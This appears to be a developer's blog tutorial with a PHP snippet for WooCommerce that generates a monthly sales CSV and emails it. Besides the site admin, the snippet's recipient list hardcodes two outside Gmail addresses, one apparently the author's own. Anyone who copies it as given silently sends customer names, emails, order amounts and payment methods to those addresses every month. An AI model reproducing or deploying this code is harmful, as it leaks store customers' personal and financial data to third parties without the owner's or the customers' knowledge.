As WooCommerce stores grow, manual sales reporting quickly becomes a bottleneck. Finance and operations teams expect accurate, structured data every month, and manual exports rarely scale well.
Many store owners still log in, export reports manually, clean up Excel files, and email them to stakeholders. This approach wastes time and increases the risk of reporting errors.
The good news is that you can automate monthly WooCommerce sales reports and have them delivered as a professional CSV file directly to admin and finance teams.
Why Automated WooCommerce Sales Reports Matter
Monthly sales reporting plays a critical role in business decision-making and financial operations, including:
- Accounting and reconciliation
- Tax preparation and compliance
- Revenue forecasting
- Performance and growth reviews
- Investor and stakeholder reporting
Automating WooCommerce sales reports ensures:
- Consistent and reliable data
- No manual effort each month
- No missed or delayed reports
- Clean CSV files ready for Excel and Google Sheets
What an Automated WooCommerce Sales Report Includes
A well-structured monthly WooCommerce sales report typically includes:
- Total number of orders and units sold
- Total revenue generated during the reporting period
- A clear and defined date range
- Detailed order-level data, such as:
- Order ID
- Order date
- Customer details
- Order status
- Subtotal, tax, shipping, and order total
- Payment method
At the top of the CSV file, a dashboard-style summary provides a quick overview of key sales metrics, similar to what you would expect from enterprise-grade reporting tools.
Why CSV Is the Preferred Format for Sales and Finance Teams
CSV files are universally supported and widely used across tools and platforms, including:
- Accounting software
- Finance and operations systems
- ERP and reporting platforms
- Spreadsheet tools like Excel and Google Sheets
Compared to PDF or HTML exports, CSV files:
- Load faster and handle large datasets efficiently
- Avoid formatting and compatibility issues
- Integrate easily with third-party systems
- Are audit-friendly and easy to archive
How WooCommerce Sales Report Automation Works
By using native WooCommerce APIs and WordPress cron scheduling, the reporting process can be fully automated:
- Orders from the previous month are collected automatically
- Sales totals are calculated safely without direct database queries
- A clean, structured CSV file is generated
- The report is emailed to one or multiple admin or finance email addresses
- The process runs automatically every month without manual intervention
No additional plugins. No manual exports. No formatting issues.
/*
* ADD MONTHLY CRON INTERVAL
* */
add_filter('cron_schedules', function ($schedules) {
$schedules['monthly'] = [
'interval' => 30 * DAY_IN_SECONDS,
'display' => 'Once Monthly',
];
return $schedules;
});
/*
* SCHEDULE CRON
* */
add_action('wp', function () {
if (!wp_next_scheduled('wms_premium_monthly_report')) {
wp_schedule_event(
strtotime('first day of next month 02:00'),
'monthly',
'wms_premium_monthly_report'
);
}
});
/*
* CLEAR CRON ON DEACTIVATE
* */
register_deactivation_hook(__FILE__, function () {
wp_clear_scheduled_hook('wms_premium_monthly_report');
});
/*
* MAIN REPORT FUNCTION
* */
add_action('wms_premium_monthly_report', 'wms_generate_premium_csv_report');
function wms_generate_premium_csv_report() {
if (!class_exists('WooCommerce')) {
return;
}
/* =======================
* EMAIL RECIPIENTS
* ======================= */
$recipients = [
get_option('admin_email'),
'abessence24@gmail.com',
'rajangpt74@gmail.com',
];
/* =======================
* DATE RANGE (LAST MONTH)
* ======================= */
$start_date = date('Y-m-01 00:00:00', strtotime('first day of last month'));
$end_date = date('Y-m-t 23:59:59', strtotime('last day of last month'));
$orders = wc_get_orders([
'status' => ['wc-processing', 'wc-completed'],
'date_created' => $start_date . '...' . $end_date,
'limit' => -1,
]);
if (empty($orders)) {
return;
}
/* =======================
* CALCULATIONS
* ======================= */
$total_units = 0;
$total_sales = 0.0;
foreach ($orders as $order) {
$total_sales += (float) $order->get_total();
foreach ($order->get_items() as $item) {
$total_units += (int) $item->get_quantity();
}
}
/* =======================
* CSV FILE SETUP
* ======================= */
$upload_dir = wp_upload_dir();
$report_dir = trailingslashit($upload_dir['basedir']) . 'sales-reports';
if (!file_exists($report_dir)) {
wp_mkdir_p($report_dir);
}
$file_name = 'monthly-sales-report-' . date('Y-m', strtotime('last month')) . '.csv';
$file_path = trailingslashit($report_dir) . $file_name;
$file = fopen($file_path, 'w');
/*
* PREMIUM HEADER (NO MERGING / NO HTML)
* */
fputcsv($file, ['Sales Dashboard']);
fputcsv($file, ['Last Updated', date('F d Y h:i A') . ' IST']);
fputcsv($file, []);
fputcsv($file, ['Filter Selection']);
fputcsv($file, ['Date', 'Custom (Last Month)']);
fputcsv($file, ['Sales Breakdown', 'Website Total']);
fputcsv($file, ['Fulfillment Channel', 'Website Orders']);
fputcsv($file, []);
fputcsv($file, ['Sales Snapshot']);
fputcsv($file, ['Total Orders', count($orders)]);
fputcsv($file, ['Units Ordered', $total_units]);
fputcsv($file, ['Ordered Product Sales', 'INR ' . number_format($total_sales, 2)]);
fputcsv($file, []);
fputcsv($file, []); // hard separation before table
/*
* TABLE HEADER
* */
fputcsv($file, [
'Order ID',
'Order Date',
'Customer Name',
'Customer Email',
'Order Status',
'Subtotal (INR)',
'Tax (INR)',
'Shipping (INR)',
'Total (INR)',
'Payment Method',
]);
/*
* ORDER ROWS (RAW VALUES ONLY)
* */
foreach ($orders as $order) {
fputcsv($file, [
$order->get_id(),
$order->get_date_created()->date('Y-m-d H:i:s'),
$order->get_formatted_billing_full_name(),
$order->get_billing_email(),
wc_get_order_status_name($order->get_status()),
number_format((float) $order->get_subtotal(), 2),
number_format((float) $order->get_total_tax(), 2),
number_format((float) $order->get_shipping_total(), 2),
number_format((float) $order->get_total(), 2),
$order->get_payment_method_title(),
]);
}
fclose($file);
/*
* EMAIL WITH ATTACHMENT
* */
wp_mail(
$recipients,
'Monthly WooCommerce Sales Report – ' . date('F Y', strtotime('last month')),
"Hi Team,\n\nPlease find attached the premium monthly WooCommerce sales report.\n\nThis is an automated email.",
['Content-Type: text/plain; charset=UTF-8'],
[$file_path]
);
}
Add temporarily anywhere (functions.php) for manually ran
do_action('wms_premium_monthly_report');Remove after test
Who Should Use Automated WooCommerce Sales Reports?
This solution is ideal for:
- Growing WooCommerce stores
- Businesses with finance or accounting teams
- Agencies managing WooCommerce stores for clients
- Store owners who need reliable, recurring sales reports
- Anyone tired of manual WooCommerce data exports
Need Help Automating Your WooCommerce Reports?
If you want reliable, automated WooCommerce sales reports tailored to your store’s workflow, I can help you set it up cleanly and securely.
Automate My WooCommerce Reports
Want This Automation Implemented for Your Store?
If you’d like this monthly WooCommerce sales reporting system implemented, customized, or extended for your store or clients, I can help.
Rajan Gupta
FullStack Web DeveloperRajan Gupta is a passionate web developer and digital creator who loves sharing insights on WordPress, modern web design, and performance optimization. When not coding, they enjoy exploring the latest tech trends and helping others build stunning, high-performing websites.